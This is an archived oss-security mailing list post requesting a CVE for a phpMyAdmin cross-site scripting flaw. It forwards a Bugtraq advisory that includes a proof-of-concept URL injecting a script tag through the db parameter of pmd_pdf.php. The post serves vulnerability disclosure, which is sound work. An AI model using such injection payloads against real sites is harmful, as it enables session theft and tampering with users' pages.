[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-Id: <200810280029.00376.hanno@hboeck.de>
Date: Tue, 28 Oct 2008 00:28:59 +0200
From: Hanno Böck <hanno@...eck.de>
To: oss-security@...ts.openwall.com
Cc: coley@...re.org
Subject: CVE request phpmyadmin (Fwd: XSS in phpMyadmin)
No fix yet, works also in 3.0.1.
---------- Weitergeleitete Nachricht ----------
Subject: XSS in phpMyadmin
Date: Montag 27 Oktober 2008
From: hadikiamarsi@...mail.com
To: bugtraq@...urityfocus.com
Author : Hadi Kiamarsi
-------------------------------------------
Discovered by : Hadi Kiamarsi
-------------------------------------------
Exploited By : Hadi Kiamarsi
-------------------------------------------
E-Mail : hadikiamarsi[at]hotmail.com
-------------------------------------------
web site : www.ircrash.com
-------------------------------------------
members team : Hadi Kiamarsi - khashayar fereidani - sina yazdanmehr
-------------------------------------------
Sript Name : phpmyadmin ( All version )
Download Script :
http://prdownloads.sourceforge.net/phpmyadmin/phpMyAdmin-3.0.0-all-languages.zip?download
-------------------------------------------
XSS
Exploit :
register_globals=on
query :
http://[www.example.com]/pmd_pdf.php?db=>"><script>alert('Hadi-Kiamarsi')</script>
-------------------------------------------------------
--
Hanno Böck Blog: http://www.hboeck.de/
GPG: 3DBD3B20 Jabber/Mail: hanno@...eck.de
http://x1000malquer.de/ - ab 8.11. Atomtransporte stoppen
Download attachment "signature.asc " of type "application/pgp-signature" (198 bytes)
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
